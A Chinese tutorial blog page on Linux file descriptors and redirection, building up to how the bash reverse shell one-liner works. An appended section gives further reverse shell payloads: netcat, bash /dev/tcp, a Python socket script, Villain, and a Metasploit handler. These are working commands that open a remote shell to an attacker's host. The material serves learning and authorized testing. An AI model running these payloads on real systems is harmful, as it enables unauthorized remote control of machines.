反弹shell之重定向

本文详细介绍了Linux文件描述符的概念,如何工作,以及重定向操作,包括输入重定向、输出重定向、标准输出与错误输出的混合重定向。重点讲解了标准输入、输出和错误输出的默认文件描述符,并演示了如何通过文件描述符进行文件重定向,以及在shell命令中的应用实例,如远程交互式shell和数据通信。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

 linux文件描述符可以理解为linux跟踪打开文件而分配的一个数字句柄,这个数字本质上是一个文件句柄,通过句柄就可以实现文件的读写操作。

当Linux启动的时候会默认打开三个文件描述符,分别是:

  • 标准输入:standard input 0 (默认设备键盘)
  • 标准输出:standard output 1(默认设备显示器)
  • 错误输出:error output 2(默认设备显示器)

进程启动后再打开新的文件,描述符会自动依次增加。每一个新进程都会继承其父进程的文件描述符,因此所有的shell命令(本质上也是启动新进程),都会默认有三个文件描述符。

Linux一切皆文件,键盘、显示器设备也是文件,因此他们的输入输出也是由文件描述符控制。如果我们有时候需要让输出不显示在显示器上,而是输出到文件或者其他设备,那我们就需要重定向。

2. 重定向

重定向主要分为两种

  • 输入重定向
    • “<”
    • “<<”
  • 输出重定向
    • “>”
    • “>>”

注意:“>”会覆盖原内容,比如file文件原有内容222, echo > 111 file 会覆盖222而写入111

而“>>”会在原内容后添加

bash在执行一条指令的时候,首先会检查命令中是否存在文件描述符重定向的符号,如果存在那么首先将文件描述符重定向(预处理),然后在把重定向去掉,继续执行指令。如果指令中存在多个重定向,重定向从左向右解析

1)输入重定向

[n]< word 
(注意[n]与<之间没有空格)

说明:将文件描述符 n 重定向到 word 指代的文件(以只读方式打开),如果n省略就是0(标准输入)。

解析器解析到 "<" 以后会先处理重定向,将标准输入重定向到file,之后cat再从标准输入读取指令的时候,由于标准输入已经重定向到了file ,于是cat就从file中读取指令了。

2)输出重定向

[n]> word

说明: 将文件描述符 n 重定向到word 指代的文件(以写的方式打开),如果n 省略则默认就是 1(标准输出)。

上述指令将文件描述符1(标准输出)重定向到了指定文件。

3)标准输出与标准错误输出重定向

下面3种形式完全等价,

&> word 
>& word
> word 2>&1:将标准错误输出复制到标准输出

说明:将标准输出与标准错误输出都定向到word代表的文件(以写的方式打开)。

解释:我们首先执行了一个错误的命令,可以看到错误提示被写入文件(正常情况下是会直接输出的),我们又执行了一条正确的指令,发现结果也输入到了文件,说明正确错误消息都能输出到文件。

4)文件描述符的复制

[n]<&[m] 
n]>&[m] 
注意:这里所有字符之间不要有空格
  • 这两个指令都是将文件描述符 n 复制到 m ,两者的区别是
    • [n]<&[m] :以只读的形式打开
    • n]>&[m] :以写的形式打开
  • 这里的 & 目的是为了区分数字名字的文件和文件描述符,如果没有 & 系统会认为是将文件描述符重定向到了一个数字作为文件名的文件,而不是一个文件描述符

重定向符号的顺序不能随便换,因为系统是从左到右执行。我们来分析上面指令结果出现的原理,

首先解析器解析到 2>&1

解析器再向后解析到 “>” 

注意:一条命令只能设置重定向一次0,1,2(标准输入,标准输出,标准错误输出)

这句命令是将 (1>&2)标准输出重定向到标准错误输出,在将(>)标准输出重定向到文件file,但是依然输出到了终端而不是文件里,这就说明了一条命令只能设置重定向一次

bash -i >& /dev/tcp/192.168.146.129/2333 0>&1
  • “bash -i”:bash 是linux的一个比较常见的shell,除此之外还有 sh、zsh、等,他们之间有着细小差别
  • “-i”:这个参数表示的是产生交互式的shell
  • “/dev/tcp/ip/port”:/dev/tcp|udp/ip/port 这个文件可以将其看成一个设备(Linux下一切皆文件),对这个文件进行读写,就能实现与监听端口的服务器的socket通信
  • ”>&“:混合输出(错误、正确输出都输出到一个地方),避免受害者机器上依然能看到我们在攻击者机器中执行的指令
  • 0>&1:输入0是由 /dev/tcp/192.168.146.129/2333 输入的,也就是攻击机的输入,命令执行的结果1,会输出到 /dev/tcp/192.168.146.129/2333 上,这就形成了一个回路,实现了我们远程交互式shell 的功能
    •  

      ​​​​​​​

### 反弹 Shell 在 Kali Linux 中的实现方法及工具 反弹 Shell 是一种常见的技术,用于将目标主机的命令行界面(Shell)连接到攻击者控制的机器上。以下是几种在 Kali Linux 中实现反弹 Shell 的方法和工具。 #### 1. 使用 Netcat 实现反弹 Shell Netcat 是一个功能强大的网络工具,能够通过 TCP 或 UDP 连接传输数据。以下是一个典型的反弹 Shell 命令: ```bash nc -e /bin/bash [攻击者IP] [端口号] ``` 此命令会在目标机器上执行 `/bin/bash` 并将其输出发送到指定的攻击者 IP 和端口[^3]。攻击者需要在自己的机器上监听连接: ```bash nc -lvnp [端口号] ``` #### 2. 使用 Bash 实现反弹 Shell Bash 内置了网络功能,可以通过以下命令实现反弹 Shell: ```bash bash -i >& /dev/tcp/[攻击者IP]/[端口号] 0>&1 ``` 这条命令会将 Bash 输入输出重定向到指定的 TCP 连接[^1]。攻击者同样需要在自己的机器上使用 `nc -lvnp [端口号]` 来监听连接。 #### 3. 使用 Python 实现反弹 Shell Python 提供了一个简单的脚本实现反弹 Shell: ```python import socket, subprocess, os s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("[攻击者IP]", [端口号])) os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) subprocess.call(["/bin/sh", "-i"]) ``` 这段代码会建立与攻击者机器的连接,并启动交互式 Shell[^2]。 #### 4. 使用 Villain 工具生成 Payload Villain 是一个现代的反向 Shell 工具,支持多种平台和编码方式。以下是如何使用 Villain 生成 Linux 反弹 Shell 的示例: ```bash villain > help generate villain > generate payload=linux/hoaxshell/sh_curl lhost=[攻击者IP] lport=[端口号] ``` 生成的 Payload 可以直接在目标机器上执行,从而建立反弹连接[^2]。 #### 5. 使用 Metasploit 框架 Metasploit 是 Kali Linux 中最强大的渗透测试工具之一,支持多种类型的反弹 Shell。以下是一个简单的示例: ```ruby use exploit/multi/handler set payload linux/x86/meterpreter/reverse_tcp set LHOST [攻击者IP] set LPORT [端口号] exploit ``` 此配置会启动一个监听器,等待目标机器上的 Payload 连接[^3]。 #### 注意事项 所有上述方法均需确保合法授权下使用,仅限于学习和研究目的。未经授权的使用可能导致法律后果。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值